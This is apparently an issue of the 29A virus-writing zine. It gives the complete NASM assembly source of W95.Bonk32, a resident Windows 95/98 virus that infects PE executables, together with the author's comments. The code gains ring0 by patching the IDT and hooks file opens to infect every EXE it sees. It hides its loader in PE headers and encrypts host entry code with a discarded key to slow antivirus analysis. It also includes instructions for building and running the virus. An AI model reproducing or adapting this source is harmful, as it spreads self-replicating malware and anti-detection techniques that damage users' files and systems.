Copy Link
Add to Bookmark
Report
29A Issue 03 04 07
;[W95.BONK32] Resident PE infector
;Copyright 1998 (c) Vecna
;
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
;to point code into the virus, and execute this interrupt. As the code is
;executed in ring0, the virus alloc memory and read from the host file the
;rest of the virus code. It then jump to this virus part, that hook IFS and
;restore the host.
;
;Always a EXE file is open, the virus handler take control, and infect it.
;The virus body is appended as a overlay to the end of host, without any
;physical link to host, and a small loader is stored into the free space of
;the PE header.
;
;If the host file dont have relocationz, the virus encript the original
;entrypoint and patch it with a jump to the virus loader. The key for the code
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
;virus restore it, it must try all keyz, what can be time costly for AVerz.
;
;As the original entrypoint dont change, and the virus code isnt linked to
;host, beside the loader, this work as a anti-heuristic feature.
;
;Early versionz haved a bug, that cause a crash in everybody machine beside
;mine. This was because a non-fixed call to int 0x20. Some lines added and
;now it work fine.
;
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
;viral needz, as provide more control over the generated code . To compile
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
;then debug it using SOFT-ICE till u get the point that the virus open host
;at this point, change esi to point to a unused area (ECX hold one), then
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
;end. Then make the virus go(BC *;G).
;
;Or, better, run the pre-compiled file. It will execute and stay resident.
;All open files will be infected then. Remeber that the pre-compiled file
;must reside in root dir of C:, else it will crash.
;
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
;gimme the EIP of the fault and make possible to me fix it.
[bits 32]
[section .text]
[global _main]
%define true 1
%define false 0
%define debug false
%define userda true
%define buffer bname + 0x100
%define buffer2 buffer + 0x1000
%macro vxdcall 2
int 0x20
dw %2
dw %1
%endmacro
hook:
enter 0x20, 0x00 ;setup stack frame
push ecx
push ebx
call .delta
.delta:
pop ebx
sub ebx, .delta
cmp dword [ebp+0x0C], byte 0x24
jne .noopen ;only hookz ifs_opne
cmp byte [ebx+recurse], byte 0x00
jne .noopen ;no re-enter
inc byte [ebx+recurse]
pushad
call dynacall ;fix dynamic int20 calls
call uni2ansi
call infect ;replicate
popad
dec byte [ebx+recurse]
.noopen:
mov ecx, 0x06 ;total=6 paramz
mov ebx, 0x1C
.nparam:
mov eax, [ebp+ebx] ;copy paramz from old frame
push eax ;to new frame
sub ebx, 4
loop .nparam
db 0xb8
oldhook dd 0
call [eax] ;call old hookz
add esp, byte 0x18
pop ebx
pop ecx
leave
ret
db '[BONK32] by Vecna/29A', 0x00
dynacall:
pushad
cld
mov ax, 0x20CD
call .odynatable
.dynatable:
dw 0x67, 0x40
dw 0x32, 0x40
dw 0x0D, 0x40 ;function, vxd
dw 0x41, 0x40
dw 0x32, 0x40
.odynatable:
pop esi
mov edi, esi
add edi, fix1-.dynatable
stosw ;make vxd calls to dynamic
movsd ;int20 code
add edi, IFS-fix1-6
stosw
movsd
add edi, byte fix3-IFS-6
stosw
movsd
add edi, fix4-fix3-6 ;make all fixes
stosw
movsd
popad
ret
uni2ansi:
pushad
lea edi, [ebx+bname]
mov eax, [ebp+0x10]
cmp al, -1
jz .drive
add al, '@' ;make number2letter
stosb
mov al, ':'
stosb
.drive:
sub eax, eax
push eax
mov eax, 0x100
push eax
mov eax, [ebp+0x1C]
mov eax, [eax+0x0C]
add eax, byte 0x04
push eax
push edi
fix4:
vxdcall 0x40, 0x41 ;make unicode2ansi
add esp, byte 0x10
add edi, eax
sub eax, eax
stosb
popad
ret
infect:
lea edi, [ebx+bname]
mov ebp, edi
mov ecx, 0x100
sub eax, eax
cld
repne scasb ;end of name
or ecx, ecx
jz near error
cmp dword [edi-0x05], '.EXE'
jne near error ;only infect exe files
%if debug == true
cmp dword [edi-0x09], 'BAIT'
jne near error ;debug code
%endif
mov eax, 0xD500
sub ecx, ecx
mov edx, ecx
inc edx
mov ebx, edx
inc ebx
mov esi, ebp
call IFS ;open it
jc near error
call .delta
.delta:
pop ebp
sub ebp, .delta ;ebp hold delta offset
mov ebx, eax
mov eax, 0xD600
sub edx, edx
mov ecx, 0x1000
lea esi, [ebp+buffer]
call IFS ;read pe headerz
jc near errorclose
mov ax, word [esi]
add al, ah
cmp al, 0xA7
jne near errorclose ;not exe
mov edi, [esi+0x3C]
mov [ebp+mz_size], edi
cmp edi, 0xE00
ja near errorclose ;buffer overflow
add edi, esi
cmp dword [edi], 'PE'
jne near errorclose ;not pe newexe
mov eax, 'BONK'
cmp [edi+88], eax
mov [edi+88], eax
jz near errorclose ;already infected
cmp word [edi+4], 0x014C ;run in a 386?
jnz near errorclose
bt word [edi+22], 1 ;executable?
jnc near errorclose
bt word [edi+22], 0x0D ;dll?
jc near errorclose
mov eax, [edi+40]
add eax, [edi+52] ;mementry==imagebase+entrypont
mov [ebp+loader.entrypoint], eax
movzx eax, word [edi+6]
imul eax, eax, 40
movzx ecx, word [edi+20] ;sum size of all headerz
add eax, ecx
add eax, 24
mov ecx, eax
add eax, edi
add ecx, lsize
cmp dword [edi+84], ecx ;total size of headerz
jc near errorclose ;enought to loader?
push eax
push edi
mov edi, eax
mov ecx, lsize
lea esi, [ebp+loader]
rep movsb ;copy loader to pe header
lea esi, [ebp+bname]
.nextbyte:
lodsb
stosb
test al, al
jnz .nextbyte ;copy host name
pop edi
pop eax
sub eax, edi
cmp [edi+160], ecx
jne near .relocs
cmp [edi+164], ecx
jne near .relocs ;shit, relocz present
%if userda == true
push ebx
mov dword [ebp+jmpentry], eax ;signal rda used
movzx ecx, word [edi+20]
add ecx, edi
add ecx, 24-0x28
.next:
add ecx, 0x28
mov edx, [edi+40]
sub edx, [ecx+12] ;is EIP pointing inside
cmp edx, [ecx+8] ;this section?
jnb .next
or dword [ecx+36], 80000000h ;make section writeable
add edx, [ecx+20] ;edx point physical entrypoint
push edx
push eax ;save virus entry
mov eax, 0xD600
mov ecx, 0x100
lea esi, [ebp+buffer2] ;esi point entrycode
call IFS ;read entry code
push esi
push edi
push esi
mov eax, 0x100
push eax
push esi
push eax
call crc32 ;calc crc32 of 100h bytes
mov [ebp+rdacrc32], eax
pop ecx
pop esi
pop edi
in al, 0x40
.rdaloop:
xor byte [esi], al ;encript crc32ed code
inc esi
loop .rdaloop
pop esi
push edi
lea edi, [ebp+hostcode]
movsd
movsb ;save entrycode
pop edi
xchg esi, edi ;edi point to entrycode
sub edi, byte 5
mov al, 0xE9 ;esi point to pe header
stosb
pop edx
sub edx, [esi+40]
mov eax, edx
sub eax, 5
add eax, dword [ebp+mz_size]
stosd ;store displacement
mov edi, esi
pop edx
mov eax, 0xD601
mov ecx, 0x100
lea esi, [ebp+buffer2]
pop ebx
call IFS ;write pe headerz
jmp .norelocs
%endif
.relocs:
mov dword [ebp+jmpentry], ecx ;flag as normal file
add eax, dword [ebp+mz_size]
mov [edi+40], eax ;set new entrypoint
.norelocs:
mov eax, 0xD601
sub edx, edx
mov ecx, dword [edi+84]
lea esi, [ebp+buffer]
call IFS ;write pe headerz
mov eax, 0xD800
call IFS ;get filesize
mov edx, 0xD601
xchg eax, edx
mov ecx, vsize
mov esi, ebp
call IFS ;write overlay code
errorclose:
mov eax, 0xD700
call IFS ;close file
error:
ret
rdacrc32 dd 0
jmpentry dd 0
hostcode dd 0
db 0
recurse db 0
mz_size dd 0
install:
sub edx, edx
sub esi, install ;esi point to start of vcode
push esi
mov dword [esi+recurse], edx
mov eax, 0xD700
call IFS ;close file
or ebp, ebp
jns skip
fix1:
vxdcall 0x40, 0x67 ;hook ifs
skip:
pop ecx
mov [esi+oldhook], eax
.restore:
%if userda == true
cmp dword [esi+jmpentry], byte 0x0
jz .norda ;was rda used?
push esi
mov edi, [esi+loader.entrypoint]
lea esi, [esi+hostcode]
movsd
movsb ;restore init code
pop esi
push dword 0x100
push dword [esi+rdacrc32]
push dword [esi+loader.entrypoint]
call rda ;rda decript host
.norda:
%endif
ret
%if userda == true
crc32_pbfr equ +0x0C
crc32_sz equ +0x08
crc32_ret@ equ +0x04
crc32_ebp@ equ +0x00
crc32:
push ebp
mov ebp, esp
mov esi, [ebp+crc32_pbfr]
mov edi, [ebp+crc32_sz] ;setup regz
push byte -1
pop ecx ;init crc32
mov edx, ecx
.aa:
sub eax, eax
mov ebx, eax
lodsb ;get byte
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
.ab:
shr bx, 1
rcr ax, 1
jnc .ac
xor ax, 0x08320 ;logarithm
xor bx, 0x0edb8
.ac:
dec dh
jnz .ab
xor ecx, eax
xor edx, ebx
dec edi
jnz .aa ;next byte
not edx
not ecx
shl ecx, 16 ;cx:dx to ecx
mov cx, dx
mov eax, ecx
pop ebp
ret 8
%endif
_main
loader:
pushad
call .seh
mov esp, [esp+8]
jmp .removeseh
.seh:
sub edx, edx
fs push dword [edx]
fs mov dword [edx], esp ;seh frame set
call .delta
.delta:
pop eax
sub eax, .delta
push eax
sidt [esp-2] ;get idt to ebx
pop ebx
cli
mov ebp, [ebx+0x4+(0x5*0x8)]
mov bp, [ebx+(0x5*0x8)]
lea ecx, [eax+ring0] ;new int5 handler
mov [ebx+(0x5*0x8)], cx
bswap ecx
xchg cl, ch
mov [ebx+0x6+(0x5*0x8)], cx
push ds
push es
int 0x5 ;jump to ring0
pop es
pop ds
.removeseh:
sti
sub eax, eax
fs pop dword [eax] ;remove seh frame
pop eax
popad
db 0x68 ;return to host
.entrypoint dd 0
pop ecx
jecxz .ret
push ecx
.ret:
ret
IFS:
vxdcall 0x40, 0x32 ;just one place to fix
ret
ring0:
cld
push ss
pop ds
mov edi, [eax+IFS]
mov ax, 0x20CD ;these linez fix the previous
stosw ;bug, found by AVz
mov ax, 0x32
stosw
mov ax, 0x40
stosw
lea ecx, [eax+bname]
lea esi, [eax+name]
mov eax, 0xD500 ;openfile
sub ecx, ecx
mov edx, ecx
mov ebx, ecx
inc edx
call IFS
jnc .skip
iret ;cant open host
.skip:
push eax
push dword 8192
fix3:
vxdcall 0x40, 0x0D ;vmm alloc
pop ecx
mov esi, eax
pop ebx
jc .error
mov eax, 0xD800 ;get filesize
call IFS
mov ecx, vsize
sub eax, ecx
mov edx, 0xD600 ;read overlay
xchg eax, edx
call IFS
add esi, install-hook
call esi ;call it!
.error:
iret
lsize equ ($-loader)
name equ $
%if userda == true
rda_sz equ +16
rda_crc equ +12
rda_pbfr equ +08
rda_ret@ equ +04
rda_ebp@ equ +00
rda_pass equ -04
rda_key equ -08
rda:
enter 8, 0 ;2 dwords as local var
sub eax, eax
mov [ebp+rda_pass], eax
mov [ebp+rda_key], eax ;setup rda
.setup:
mov esi, [ebp+rda_pbfr]
mov ecx, [ebp+rda_sz]
mov edx, [ebp+rda_key] ;setup loop
.loop:
xor [esi], dl
inc esi
dec ecx
jnz .loop
inc dword [ebp+rda_pass] ;increase pass counter
cmp [ebp+rda_pass], byte 2
jne .check ;first pass
sub eax, eax
mov [ebp+rda_pass], eax
inc dword [ebp+rda_key] ;new key
jmp short .setup
.check:
push ebp
push dword [ebp+rda_pbfr]
push dword [ebp+rda_sz]
call crc32 ;calc crc32
pop ebp
cmp eax, [ebp+rda_crc]
jne .setup ;crc32 dont match
leave
ret 12
%endif
vsize equ ($-$$)
bname: